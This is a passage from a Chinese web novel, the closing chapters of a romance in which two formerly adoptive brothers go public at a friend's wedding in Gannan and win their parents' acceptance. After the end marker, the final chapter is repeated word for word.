“章医生,给你回送一句温馨提醒——”商延枭似乎早就等着这一刻,“有些事情过度了可不好。” “……” 章长叙假装没听懂,平静结束聊天,“挂了。” 短暂的通话结束。 要是放在往常,章长叙顺势就起床洗漱了,可他看着还在被窝里拱成一团的章长宁,实在没忍住,又躺下将他圈在怀里。 章长宁没急着转身,闭着眼睛懒洋洋地问,“是三哥的电话吗?你们嘀嘀咕咕说什么呢?好吵。” “延枭打电话说,他和柏续明天要去领证了,让我们抽空回去一趟,全家人聚在一起简单吃个饭。” “……” 章长宁的睡意因为这句话彻底散去,他连忙转过身来,却因为太着急带动了腰上的酸痛,低声呜了一声。 “慢点。” 章长叙第一时间替他揉着。 章长宁也顾不上这点不适感了,震惊又欣喜地问,“他们这就要领证啦?这么突然!” “应该也不算突然了吧?他们俩的感情不是一直都挺稳定的?” 从柏续和商延枭认识到现在,经历了很多,完全称得上是共患难的感情,何况前阵子柏续还经历了生死,商延枭难免会更珍视。 “也对,毕竟他们俩一开始的联姻不太正式。” 章长宁被这份喜事感染,眼里带着亮晶晶的笑,“等明天正式领了证,我看谁还敢乱嚼舌根。” 章长叙笑,“你倒是替他们还操心!” 章长宁回答,“柏续对我多好啊?而且爸妈一直觉得亏欠柏续,现在能够看到他和三哥修成正果,一定会很开心!我待会儿就去买礼花!明天等他们一进门,我们还有大哥一块给他们砰砰砰放上几炮!” “好。” 章长叙凡事都依着他,“你开心就好。” 章长宁又想起一事,问,“哥,你说柏续和三哥结婚,谁到谁的户口本上啊?” 章长叙没想过这个问题,“不清楚,反正他们的名字会在一个户口本上。” “真好。” 章长宁莫名被这句话给戳动,眼睛里的笑淡了些,“能和自己爱的人,会在一个户口本上欸。” 他和章家解除领养协议后,自己领了一本空落落的户口本,上面只有他一个人的名字。 一个人,终究算不上一个家。 章长叙很快就察觉到了章长宁的情绪起伏,温柔将他拢在怀里,“怎么了?” “没事。” 章长宁回抱住身前人,原本就乱糟糟的脑袋在章长叙的胸膛蹭了蹭,“哥。” “嗯?” “我有点……”章长宁的声音闷闷的,“我有点羡慕他们。” 章长叙哪里还猜不出章长宁的心思?哄道,“宁宁,你信我,我们也会有这么一天的。” 章长宁得到这声承诺,忍不住抬头看他,“嗯,但其实就这样也很好。” 现在这样能和章长叙同床共枕、以恋人的名义渡过每一天,已经是他以往不敢设想的幸福了。 章长宁只盼着,这样的日子能够更长久一些。 “好了,起床?” 章长叙不着痕迹地转移话题,“反正都已经这个点了,我们干脆去外面吃饭,然后去买一下你要的礼花?” “好!” … 第二天,章长叙和章长宁难得没有赖床,早早收拾好就开车回了章家别墅。 章长宁望着再熟悉不过的家门口,突然回过神,“哥,你别说,我们好像真的有一阵子没回家了?” “是。” 章长叙将车子停稳,“下车吧,我提着礼花。” 章长宁不和他抢这点活,只是伸手轻拽了他一下,“哥,你先说好了,待会儿在爸妈还有奶奶面前,我们可得保持距离、别露馅了。” 章长叙听见这话,无奈笑了笑,“好,你藏得住就行。” “我肯定行~” 章长宁信誓旦旦,打开车门就往家里跑,“妈,我回来啦!” 章渡和沈眠正陪着章老夫人在客厅聊天,一听见这声音,双双回过视线—— 章长宁穿着一件蓝色系的薄毛衣,头上还压着一顶男款白帽,看上去青春洋溢,像个涉世未深的男大。 章长宁从小就像个小太阳,随时随地能感染到所有人。 章老夫人一瞬间就乐开了花,“哎哟,宝贝小幺回来了,快来奶奶身边。” “爸妈,我回来了。” 章长宁先和沙发上的章氏夫妇打了声招呼,然后就坐在了章老夫人的身边,“奶奶,我回来了,你最近过得好吗?” “好着呢。” 章老夫人拍了拍他的手,仔细端详着他的脸,“小宁好像还长胖了点?” 章长宁回答,“嗯,今早刚称过,胖了三斤肉。” 章老夫人笑了笑,顺势看了一眼沈眠,说,“那就好,你妈刚才还念叨着你呢。” 沈眠欲言又止,这会儿再看到章长宁、看着这个自己养大的孩子,心里却多了一丝别样的滋味和感慨。 章长宁不知情,理所当然地接话,“那是,我妈最疼我了。” 话音刚落,章长叙就提着礼花走了进来,身后还跟着晚一步到达的章长风、苏阳夫妇。 章长宁不忘打招呼,“大哥!大嫂!你们也回来得好早。” “这么大的喜事,可不能迟到。” 章长风拍了拍章长叙的肩膀,半推着他上前,“爸,我和长叙正说着馋你新到的茶叶呢,你给儿子们泡一杯呗?” 章渡明知道是大儿子随口扯的话题,还是问了章长叙一句,“是吗?” 章长叙回答,“……是。” 章渡没有接话,只是侧身看向妻子。 章长叙的视线跟着转移,落到沈眠的身上,一贯平静的眼里意外透出一抹少有的恳求,“妈。” “……” 沈眠最终是舍不得自己的孩子,“既然几个孩子都想要喝,那你就泡吧,这么大年纪了,还舍不得这点茶吗?” 章渡见妻子松动,“行。” … 一家人围坐在客厅,喝茶闲聊。 章长宁在咋咋呼呼,章长风在边上应和,章长叙则是沉默着作为倾听者,一切的一切,都和他们兄弟小时候的没差别。 沈眠看在眼里,除了想不明白,却也有些庆幸—— 想不明白的是,为什么都是在自己的眼皮子底下看着长大的,章长叙和章长宁却会延伸出那样的感情? 但庆幸是这群孩子始终还能聚在她的身边、不曾远离。 这段时间,沈眠暗自想过很多,她怕两个孩子“兄弟变爱人”的关系一旦传出去,就免不了被其他人指手画脚、暗中非议审判。 可她也怕自己的抗拒、不同意会换来孩子们的痛苦,甚至会逼得章长宁再次离开章长叙、离开这个家。 沈眠了解章长宁,更了解章长叙—— 前者是听话懂事、不忍心伤害到长辈,后者就是隐忍克制,同样也更固执,他认定的事情谁都改变不了! 如果她真一意孤行站出来制止这段关系,而章长宁又选择“懂事”听她的话,那么恐怕真正疯的人会是章长叙。 “对了,柏续他们什么时候回来啊?我还买了礼炮呢!” 章长宁期待的询问响了起来,唤回了沈眠的思绪,“快了,他们才给我发了消息,说是已经领完证了,正在开车回家的路上。” “那还等什么?” 章长宁立刻起身,将袋子里的礼炮分给了章长风和章长叙,“大哥!二哥!快快快!我们现在就等在门口,‘杀’他们一个措手不及!” 苏阳笑说,“你们仨可悠着点,别惊喜整成惊吓了。” “放心吧大嫂!我有分寸,图个好玩而已!”章长宁回了一句,兴冲冲地蹲守在门口,还不忘催促,“哥哥们,快点啊!” 章长风和章长叙对视一眼,完全配合着他的指令。 章老夫人开怀,“还是他们兄弟看着感情好,待会儿小续和延枭一来,家里就更热闹了。” 章渡说,“那就跟孩子们一块凑个热闹,都去门口等着吧。” “也行。” … 柏续和商延枭推门而入的一瞬间,偷袭的礼花骤然在两人的头上炸开。 砰! 毫无防备的柏续吓得后撤了半步,得亏商延枭眼疾手快地将他圈入怀中。 章长宁眼见着自己的“惊喜”得逞,蹦跶了一下,“surprise!恭喜恭喜!领证快乐!” “……” 柏续抓住一片掉落下来的彩头,笑着看向右侧的章长风,“哥,你怎么还跟着长宁瞎闹?吓我一跳。” “大哥这叫配合我,懂不懂?” 章长宁一时间乐得忘形,随手将放空的礼花直接塞给看戏的章长叙,后者接得也很自然。 这一幕落在章渡和沈眠的眼里,两人都没戳穿,反而多了一丝默许的意味。 章长宁靠近柏续,“柏续,快快快,给我看看!” 柏续愣了愣,“看什么?” 章长宁期待,“还能是什么?结婚证啊!” 柏续没料到他还对这感兴趣,随手将其中一本递给他。 章长宁立刻翻看起两人的登记照片,还不忘递给章渡和沈眠分享,“爸妈,柏续和三哥还挺上相,我还是第一次看同性的结婚证,原来都是一样的啊?” 章长叙拿着礼花棒轻戳了一下他的后脑勺,“真爱不分性别,结婚证当然不用做区分。” 章长宁揉了揉脑袋,“也是。” 柏续余光扫了一眼父母,就差替章长叙和章长宁把窗户纸戳破了,“长宁,你要是喜欢,你自己想办法也去领一本。” “……” 章长宁一愣。 反倒是章渡说,“他这小性子,能找到一个包容他的人可不容易。” 这么想起来,好像确实找不出一个比章长叙更纵着他的对象了,毕竟两个孩子从小就待在一块,早就过了所谓的磨合期。 沈眠心有所感,却不接话。 她顺势将结婚证递给了章老夫人,“妈,你也看看小续他们的结婚照,和我们那会儿都不一样了。” “真好看。” 章老夫人满心欢喜,不由催起章长叙,“长叙,你这个当哥哥的,可是被小续这个当弟弟地给赶超了,老大不小了,也该找对象、谈朋友了。” 章长叙笑了笑,“奶奶你说得对,不过这事我一个人说了不算。” “……” 瞎说什么呢! 真不怕露馅啊! 章长宁越听越心虚,连忙给柏续递眼色。 柏续只觉得好友傻得可爱,但还是帮着他,“爸妈,开饭了没啊?我和延枭中午没多吃,饿了。” 商延枭点头配合,“嗯,听说今晚爸妈亲自下厨,我们俩空着肚子来的。” 章长叙还是没习惯多年挚友一朝变弟婿,“你这喊得越来越顺溜了。” 沈眠听得开心,一时间倒不纠结其他事了,“早该这么叫了。” 因为两家交好,他们夫妻两人一直把商延枭和商确言当成干儿子看待,现在好了,亲上加亲。 “来,别杵在门口聊天了,饭菜都备好了,我们一家子坐下吃饭。” “好。” … 章家和商家在帝京的威望都不低,婚礼办大了容易铺张浪费,办小了又怕旁人看笑话,于是柏续和商延枭没有大办婚礼的打算,反倒一致决定用这批钱去做爱心捐赠。 柏续像是早就有了这计划,还向章长宁打听起甘南和瓦县一带的情况,似乎是准备将爱心款项拨到那个地区。 章渡和沈眠见他们主意已定,选择了尊重。 这场家庭聚会,因为有了柏续和商延枭的喜事,从里到外都洋溢着幸福和愉悦,饭后,柏续待在客厅陪着长辈们聊天。 商延枭见此,默不作声地给好友使了个眼神。 章长叙接收到他的暗示,跟着往后院走,结果章长宁眼尖发现了两人的“秘密”交流,愣是凑了热闹,“三哥,神神秘秘的做什么呢?” 章长叙也问,“怎么了?” “想拜托你们一件事。”商延枭遥望了一下前厅,压低声音说,“虽然阿续不想要对外的大型婚礼,但我还是想要给他筹备一个。” “不用特别大,两家人聚一聚就行。” “过两天再和你们说说具体的想法,到时候还得麻烦你们、大哥还有确言一块帮忙,将长辈们带过去。” 商延枭长话短说,“微信联系?” 章长宁最爱这种事,忙不迭点头,“好呀好呀!” 章长叙自然也不会有意见,颔首。 商延枭着重叮嘱,“小宁,你得瞒着阿续,除他以外,其他人都没事。” 章长宁给自己的嘴巴拉上“项链”,“我知道!” … 柏续和商延枭还赶着回商家给其他人“报喜”,没留多久就离开了,他们前脚一离开,章长宁后脚就和章渡和沈眠透露这事。 章长叙无奈,“还没过五分钟。” 章长宁不以为然,“爸妈又不是外人,早晚要去婚礼现场的,三哥说了,瞒着柏续就可以。” 沈眠惊讶,“那婚礼是要办在甘南那一带?” 章长风接话,“甘南那边自然风光挺不错的,现在年轻人都爱旅行结婚,挺好的。” 反正章、商两家都不缺这点“飞到外地”的钱。 章长宁随口接话,“是啊,甘南那边可漂亮了!草甸、雪山都很美,我小时候……” 话说到一半,他就有意识地顿住了。 章长叙似乎知道他在顾忌什么,代替说了下去,“长宁小时候生活过的瓦县就在甘南,离主县城也离得很近,是很漂亮。” 沈眠沉默了几秒,“小宁。” “嗯?” “无论小续和延枭的婚礼怎么决定,过段时间,你都带妈妈去你小时候生活过的地方看看?” 沈眠看了一眼章长叙,又将视线落回到章长宁的脸上,她的语气一如既往的温柔,没人知道她内心已经有了决断。 “我想和你那位院长阿嫲见个面。” 38、【第038章】 商延枭的保密婚礼筹备的很成功,章长宁等人的秘密辅助也很到位—— 两人的小型婚宴还是选在了甘南的一处雪山脚下,只宴请了双方的亲友,没有客套的交际,只有满满当当的真切祝福。 章长宁自告奋勇充当起了婚礼司仪,他看着两位婚礼主角相互诉说着誓言、交换着婚戒,感性得一时之间没忍住,还没下台泛起了泪光。 他不好意思地抹了抹眼泪,趁着两位新人亲吻的间隙迅速跑下台。 章长叙就站在台侧迎接他,“瞧把你哭的。” 章长宁有些害羞自己的失态,吸了吸鼻子,满心是说不出的羡慕和祝福,“这一生能遇到真正所爱、并且携手一生的人,多不容易啊。” 章长叙拿出一早就备好的纸巾,替他温柔拭去眼泪,“他们是,我们也是。” “……” 章长宁动容,却同样记着现在的场合。 他连忙后撤半步,用眼神示意,“哥,爸妈他们还在呢。” 虽然现在商、章两家人的注意力几乎都在婚礼主人公的身上,但万一被看见了,就要出大事了。 章长叙欲言又止。 忽地就听见边上的摄影团队大声喊道,“两家人一块拍张全家福吧!” 柏续同意,“嗯,大家都一起上来。” 众人蜂拥而至,脸上都带着藏不住的喜悦,章长宁见此,连忙将那点动容抛之脑后,转身三步做两步就回到了台上,“我来了!” 章长叙见此,连忙跟上。 … 全家福的站位很快就定下了,长辈们一致落座在前排,章老夫人和商老夫人各自抱着一个孩子。 商延枭和柏续站在后排c位,然后从左到右就是—— 章长风、苏洋、商确言、商延枭、柏续、章长宁、章长叙,以及商家小姑商可舒。 摄影团队扛着长枪大炮指挥,“好了,大家准备看这里!” 章长宁正注视着前方,忽然间,他的左手被章长叙稳稳牵住。 “……” 章长宁垂眸望着两人暗中相握的手,又偏头看了一眼章长叙,对方没说话,只是掌上的力度又紧了几分。 章长宁没有躲,反倒小幅度地晃了晃,两人相视一笑。 摄影师大喊,“来!三、二、一——” 章长宁回过视线,露出最灿烂也最标准的笑容,迎接了这张特别的全家福的快门声。 … 婚宴的氛围很自由,更像是一场家庭聚会。 商老夫人和章老夫人上了年纪,加上甘南的海拔稍高,等到合照环境结束,两人就先一步回了酒店休息。 婚宴渐渐进行到了尾声。 柏续似乎是想到了什么,说,“我听说,新人一般都会准备一束捧花,将其抛给、转给最需要的朋友们。” 他一开口,自然吸引了周围众人的视线。 柏续继续说,“虽然我和延枭的婚礼上没有传统意义上的捧花,不过如果可以,我想要传递一下这份幸福。” 商延枭似乎猜到了爱人的想法,微笑默许。 柏续走到章长宁的身边,笑着揽住他的肩膀,“在场都是自家人,大家都清楚我和长宁的缘分,如果可以,我想把这份幸福继续传递下去——” 他看了一眼章长叙,然后对着章渡和沈眠请求,“爸、妈,长叙和长宁这一路也很不容易,你们不然就趁着今天松个口吧?” “……” 章长宁一惊,慌张示意好友,“柏、柏续,你说什么呢!我和二哥,我们……” “宁宁,没事的。” 章长叙及时稳住章长宁,当着全体亲友的面牵起他的手“爸,妈,我和宁宁在一起了,并且打算以‘爱人’的身份相伴一生,我恳请你们能够谅解并且祝福我们。” “……” 沈眠和章渡没料到孩子们会直接提起这事,一时沉默着。 章长宁已经被突如其来的消息撞得大脑发懵,心跳更是乱得厉害,整个人都沉浸在一种巨大的茫然无措里。 这场不是三哥和柏续的婚礼吗? 怎么突然就到他和章长叙在家长面前正式公布恋情了? 短短几秒,章长宁只觉得被拉得无限长,他不敢直视章渡和沈眠的反应,生怕对方说出最令他恐惧的那几个字。 他极力找回自己的声音,“爸,妈,对不起,我……” “小宁。” 沈眠被他发颤的声线一下子激得酸涩,“你没错,妈妈不需要你的道歉,而且你和长叙的事情,我和爸一早就知道了。” 章长宁不可置信地抬眼,眼眶隐隐发红,“……什么?” 沈眠说,“长叙生日那天,我和你爸就发现了端倪,之所以没找你详细问,就是怕你会愧疚、会伤心、会痛苦。” 章长宁这才反应过来,“哥,你那天就坦白了?” 章长叙回答,“是,我怕你压力大,所以没说。” 得到这个答案,章长宁眼眶更酸了。 他一直就被章长叙保护得很好,也一直在父母的爱护里长大。 章长叙看出沈眠的松动,“妈,别反对我和宁宁,好吗?” “……” 沈眠温柔又慈爱地望着两个孩子,内心的那道坎终于彻底跨过,“好,只要你们幸福,我不反对。” 章渡挽住妻子的腰,跟着表态,“只要你妈不反对,我就不反对。” 为人父母,他们的初衷就是希望孩子们都能过得幸福。 章长宁低头掉了眼泪,仿佛还是小时候那个遇事就爱哭的撒娇鬼。 沈眠走上前,主动将他拥入怀抱,“小宁,别哭,你看啊,每个人的缘分都是天注定的,无论是你和长叙,还是你和我们——” “就像你注定会是我们章家的孩子,无论是以什么身份。” 沈眠拍了拍章长宁的后背,也不忘给章长叙递去认可的眼神,“从今天起,就放心大胆地在一块吧,不用再藏着掖着,不用再担惊受怕了,好吗?” 章长叙神色动容,“谢谢妈。” 章长宁一直埋在内心深处的恐惧在沈眠充满爱意的拥抱下消散,用力回抱着应下,“谢谢妈妈,我会和二哥好好的。” …… 婚礼结束后,章渡和沈眠就开启了原定的行程,夫妻两人一块去拜访了丹珠院长,章长宁和章长叙自然陪同在侧。 章长宁还沉浸在意料之外的幸福中,整个人走起路来都有些飘飘然,“哥,你说我不是在做梦吧?” 章长叙心情很好,“让我用力掐一下你的脸,你看疼不疼?” 章长宁还真把脸凑上去,“来,你掐掐。” 章长叙被他可爱到发笑,舍不得掐,只捏了捏,“是真的,都是真的,爸妈没有反对,现在带着我去见你另外一位家长了。” “哦~” 章长宁拉长尾调,余光确认走在前面的章渡和沈眠没回头,迅速往章长叙的嘴角吻了一下,“可我还是觉得像做梦一样~” 说完,他就跑了上去指路,“爸,妈,前面那个小巷子拐进去就是了!” “好,你带路。” … 丹珠早就从章长宁的电话里得知了章氏夫妇要来,做足了心理准备。 她原本还担心会和沈眠这样的富家太太有隔阂,但没想到两人一见如故,围绕着章长宁的小时候,一个劲地说个没完。 章长叙清楚地记得章长宁来到章家后的事,但对他四五岁之前的事全然不知。 于是,他安静地充当起了旁听者,还时不时地负责给院长和父母添茶倒水,还真像个刚上门的新女婿。 章长宁莫名联想到这层身份,想笑又不敢太大声。 他不太好意思再从家长们的口中去回顾自己小时候的糗事,干脆偷偷开溜,跑到了院中。 斜阳落下,光影温柔。 章长宁独自爬坐在儿童话题上,独自回想着这么多年来的一切,桩桩件件,想到什么就是什么。 也不知道过了多久,身后才传来一阵熟悉的呼唤。 “宁宁?” “哥,我在这儿!” 章长宁侧身回应,却没急着下高架滑梯。 章长叙快步走近,站在滑梯侧面仰头看着他,“怎么一个人跑到这里坐着?” “出来吹吹风~” 章长宁反问,“阿嫲和爸妈相互分享我小时候的趣事啦?” “嗯,差不多了,还在聊着。”章长叙注视着他,“要下来吗?小心点。” “哥,你知道吗?要是没记错的话,以前那架滑梯在顶上还有一个拱形小门,我就喜欢靠门后面躲着。” 章长宁伸手比划着,“以前总觉得院里的滑梯很高,不过现在看起来,一点儿也不高,我刚刚一下子就从侧面蹦上来了,都没走小楼梯。” “我记得,我小时候被院里的大孩子推下来过好几次,虽然不会受伤,但是会很疼。” 疼的记忆太深刻了,所以他忘不掉。 章长叙眉间显露出一抹心疼,主动摊开手,“下来,我接着你。” 章长宁挑眉,“我现在又不是小时候的那个我了,这点高度算什么?” 话虽如此,他还是轻轻一跃扑在了章长叙怀里,“哥!” “嗯。” 章长叙稳稳当当地搂抱住他,像他们以往的每一次拥抱,章长宁不着急从他的怀中离开,双手双脚都将他盘得更紧了。 两人目光相对,映着彼此最好的面貌。 章长宁认真问,“我们真的,再也不会分开了,是吗?” “是,永远不会。” 得到这句话应答,章长宁终于毫无负担地笑开,他亲了一下眼前人,喊,“章医生?” 章长叙回吻了一下,“嗯?” “章长叙。” “嗯。” “长~叙~” “嗯。” “哥。” “嗯。” “哥哥。” “在。” 一声称呼换回一个吻、一句回应。 章长宁被浓浓的幸福感包围,眼露狡黠,他偏头抵在章长叙的耳边,“老公?” “……” 章长叙这次没接话,而是抱着他就往长辈们谈话的主屋里面走。 章长宁吓一跳,连忙制止,“等等!你干嘛啊?” 章长叙站定,“问爸妈户口本有没有带在身边,你先想好,是你的名字重新落回章家,还是我的名字落在你的单人户口本上。” 章长宁怔了两秒,逗他,“这么急,章医生,你恨嫁啊?” 章长叙一本正经地回,“嗯。” 章长宁笑倒在他的肩头,好半天才喘气道,“哎哟!笑得肚子疼。” 章长叙跟着他笑,“给你揉揉?” “不用。” 章长宁抬起头,笑意未减。 咫尺之距,两人的身影几乎融在斜阳的暖光里。 章长宁用视线描绘着章长叙的轮廓,突然很深情说,“哥,谢谢你陪我长大,谢谢你爱我。” “……” 章长叙眸底泛起一丝波澜,抵住他的额头,“不客气,你也在陪我长大,也谢谢你爱我。” ——全文完—— 【全文完结】 商延枭的保密婚礼筹备的很成功,章长宁等人的秘密辅助也很到位—— 两人的小型婚宴还是选在了甘南的一处雪山脚下,只宴请了双方的亲友,没有客套的交际,只有满满当当的真切祝福。 章长宁自告奋勇充当起了婚礼司仪,他看着两位婚礼主角相互诉说着誓言、交换着婚戒,感性得一时之间没忍住,还没下台泛起了泪光。 他不好意思地抹了抹眼泪,趁着两位新人亲吻的间隙迅速跑下台。 章长叙就站在台侧迎接他,“瞧把你哭的。” 章长宁有些害羞自己的失态,吸了吸鼻子,满心是说不出的羡慕和祝福,“这一生能遇到真正所爱、并且携手一生的人,多不容易啊。” 章长叙拿出一早就备好的纸巾,替他温柔拭去眼泪,“他们是,我们也是。” “……” 章长宁动容,却同样记着现在的场合。 他连忙后撤半步,用眼神示意,“哥,爸妈他们还在呢。” 虽然现在商、章两家人的注意力几乎都在婚礼主人公的身上,但万一被看见了,就要出大事了。 章长叙欲言又止。 忽地就听见边上的摄影团队大声喊道,“两家人一块拍张全家福吧!” 柏续同意,“嗯,大家都一起上来。” 众人蜂拥而至,脸上都带着藏不住的喜悦,章长宁见此,连忙将那点动容抛之脑后,转身三步做两步就回到了台上,“我来了!” 章长叙见此,连忙跟上。 … 全家福的站位很快就定下了,长辈们一致落座在前排,章老夫人和商老夫人各自抱着一个孩子。 商延枭和柏续站在后排c位,然后从左到右就是—— 章长风、苏洋、商确言、商延枭、柏续、章长宁、章长叙,以及商家小姑商可舒。 摄影团队扛着长枪大炮指挥,“好了,大家准备看这里!” 章长宁正注视着前方,忽然间,他的左手被章长叙稳稳牵住。 “……” 章长宁垂眸望着两人暗中相握的手,又偏头看了一眼章长叙,对方没说话,只是掌上的力度又紧了几分。 章长宁没有躲,反倒小幅度地晃了晃,两人相视一笑。 摄影师大喊,“来!三、二、一——” 章长宁回过视线,露出最灿烂也最标准的笑容,迎接了这张特别的全家福的快门声。 … 婚宴的氛围很自由,更像是一场家庭聚会。 商老夫人和章老夫人上了年纪,加上甘南的海拔稍高,等到合照环境结束,两人就先一步回了酒店休息。 婚宴渐渐进行到了尾声。 柏续似乎是想到了什么,说,“我听说,新人一般都会准备一束捧花,将其抛给、转给最需要的朋友们。” 他一开口,自然吸引了周围众人的视线。 柏续继续说,“虽然我和延枭的婚礼上没有传统意义上的捧花,不过如果可以,我想要传递一下这份幸福。” 商延枭似乎猜到了爱人的想法,微笑默许。 柏续走到章长宁的身边,笑着揽住他的肩膀,“在场都是自家人,大家都清楚我和长宁的缘分,如果可以,我想把这份幸福继续传递下去——” 他看了一眼章长叙,然后对着章渡和沈眠请求,“爸、妈,长叙和长宁这一路也很不容易,你们不然就趁着今天松个口吧?” “……” 章长宁一惊,慌张示意好友,“柏、柏续,你说什么呢!我和二哥,我们……” “宁宁,没事的。” 章长叙及时稳住章长宁,当着全体亲友的面牵起他的手“爸,妈,我和宁宁在一起了,并且打算以‘爱人’的身份相伴一生,我恳请你们能够谅解并且祝福我们。” “……” 沈眠和章渡没料到孩子们会直接提起这事,一时沉默着。 章长宁已经被突如其来的消息撞得大脑发懵,心跳更是乱得厉害,整个人都沉浸在一种巨大的茫然无措里。 这场不是三哥和柏续的婚礼吗? 怎么突然就到他和章长叙在家长面前正式公布恋情了? 短短几秒,章长宁只觉得被拉得无限长,他不敢直视章渡和沈眠的反应,生怕对方说出最令他恐惧的那几个字。 他极力找回自己的声音,“爸,妈,对不起,我……” “小宁。” 沈眠被他发颤的声线一下子激得酸涩,“你没错,妈妈不需要你的道歉,而且你和长叙的事情,我和爸一早就知道了。” 章长宁不可置信地抬眼,眼眶隐隐发红,“……什么?” 沈眠说,“长叙生日那天,我和你爸就发现了端倪,之所以没找你详细问,就是怕你会愧疚、会伤心、会痛苦。” 章长宁这才反应过来,“哥,你那天就坦白了?” 章长叙回答,“是,我怕你压力大,所以没说。” 得到这个答案,章长宁眼眶更酸了。 他一直就被章长叙保护得很好,也一直在父母的爱护里长大。 章长叙看出沈眠的松动,“妈,别反对我和宁宁,好吗?” “……” 沈眠温柔又慈爱地望着两个孩子,内心的那道坎终于彻底跨过,“好,只要你们幸福,我不反对。” 章渡挽住妻子的腰,跟着表态,“只要你妈不反对,我就不反对。” 为人父母,他们的初衷就是希望孩子们都能过得幸福。 章长宁低头掉了眼泪,仿佛还是小时候那个遇事就爱哭的撒娇鬼。 沈眠走上前,主动将他拥入怀抱,“小宁,别哭,你看啊,每个人的缘分都是天注定的,无论是你和长叙,还是你和我们——” “就像你注定会是我们章家的孩子,无论是以什么身份。” 沈眠拍了拍章长宁的后背,也不忘给章长叙递去认可的眼神,“从今天起,就放心大胆地在一块吧,不用再藏着掖着,不用再担惊受怕了,好吗?” 章长叙神色动容,“谢谢妈。” 章长宁一直埋在内心深处的恐惧在沈眠充满爱意的拥抱下消散,用力回抱着应下,“谢谢妈妈,我会和二哥好好的。” …… 婚礼结束后,章渡和沈眠就开启了原定的行程,夫妻两人一块去拜访了丹珠院长,章长宁和章长叙自然陪同在侧。 章长宁还沉浸在意料之外的幸福中,整个人走起路来都有些飘飘然,“哥,你说我不是在做梦吧?” 章长叙心情很好,“让我用力掐一下你的脸,你看疼不疼?” 章长宁还真把脸凑上去,“来,你掐掐。” 章长叙被他可爱到发笑,舍不得掐,只捏了捏,“是真的,都是真的,爸妈没有反对,现在带着我去见你另外一位家长了。” “哦~” 章长宁拉长尾调,余光确认走在前面的章渡和沈眠没回头,迅速往章长叙的嘴角吻了一下,“可我还是觉得像做梦一样~” 说完,他就跑了上去指路,“爸,妈,前面那个小巷子拐进去就是了!” “好,你带路。” … 丹珠早就从章长宁的电话里得知了章氏夫妇要来,做足了心理准备。 她原本还担心会和沈眠这样的富家太太有隔阂,但没想到两人一见如故,围绕着章长宁的小时候,一个劲地说个没完。 章长叙清楚地记得章长宁来到章家后的事,但对他四五岁之前的事全然不知。 于是,他安静地充当起了旁听者,还时不时地负责给院长和父母添茶倒水,还真像个刚上门的新女婿。 章长宁莫名联想到这层身份,想笑又不敢太大声。 他不太好意思再从家长们的口中去回顾自己小时候的糗事,干脆偷偷开溜,跑到了院中。 斜阳落下,光影温柔。 章长宁独自爬坐在儿童话题上,独自回想着这么多年来的一切,桩桩件件,想到什么就是什么。 也不知道过了多久,身后才传来一阵熟悉的呼唤。 “宁宁?” “哥,我在这儿!” 章长宁侧身回应,却没急着下高架滑梯。 章长叙快步走近,站在滑梯侧面仰头看着他,“怎么一个人跑到这里坐着?” “出来吹吹风~” 章长宁反问,“阿嫲和爸妈相互分享我小时候的趣事啦?” “嗯,差不多了,还在聊着。”章长叙注视着他,“要下来吗?小心点。” “哥,你知道吗?要是没记错的话,以前那架滑梯在顶上还有一个拱形小门,我就喜欢靠门后面躲着。” 章长宁伸手比划着,“以前总觉得院里的滑梯很高,不过现在看起来,一点儿也不高,我刚刚一下子就从侧面蹦上来了,都没走小楼梯。” “我记得,我小时候被院里的大孩子推下来过好几次,虽然不会受伤,但是会很疼。” 疼的记忆太深刻了,所以他忘不掉。 章长叙眉间显露出一抹心疼,主动摊开手,“下来,我接着你。” 章长宁挑眉,“我现在又不是小时候的那个我了,这点高度算什么?” 话虽如此,他还是轻轻一跃扑在了章长叙怀里,“哥!” “嗯。” 章长叙稳稳当当地搂抱住他,像他们以往的每一次拥抱,章长宁不着急从他的怀中离开,双手双脚都将他盘得更紧了。 两人目光相对,映着彼此最好的面貌。 章长宁认真问,“我们真的,再也不会分开了,是吗?” “是,永远不会。” 得到这句话应答,章长宁终于毫无负担地笑开,他亲了一下眼前人,喊,“章医生?” 章长叙回吻了一下,“嗯?” “章长叙。” “嗯。” “长~叙~” “嗯。” “哥。” “嗯。” “哥哥。” “在。” 一声称呼换回一个吻、一句回应。 章长宁被浓浓的幸福感包围,眼露狡黠,他偏头抵在章长叙的耳边,“老公?” “……” 章长叙这次没接话,而是抱着他就往长辈们谈话的主屋里面走。 章长宁吓一跳,连忙制止,“等等!你干嘛啊?” 章长叙站定,“问爸妈户口本有没有带在身边,你先想好,是你的名字重新落回章家,还是我的名字落在你的单人户口本上。” 章长宁怔了两秒,逗他,“这么急,章医生,你恨嫁啊?” 章长叙一本正经地回,“嗯。” 章长宁笑倒在他的肩头,好半天才喘气道,“哎哟!笑得肚子疼。” 章长叙跟着他笑,“给你揉揉?” “不用。” 章长宁抬起头,笑意未减。 咫尺之距,两人的身影几乎融在斜阳的暖光里。 章长宁用视线描绘着章长叙的轮廓,突然很深情说,“哥,谢谢你陪我长大,谢谢你爱我。” “……” 章长叙眸底泛起一丝波澜,抵住他的额头,“不客气,你也在陪我长大,也谢谢你爱我。” ——全文完——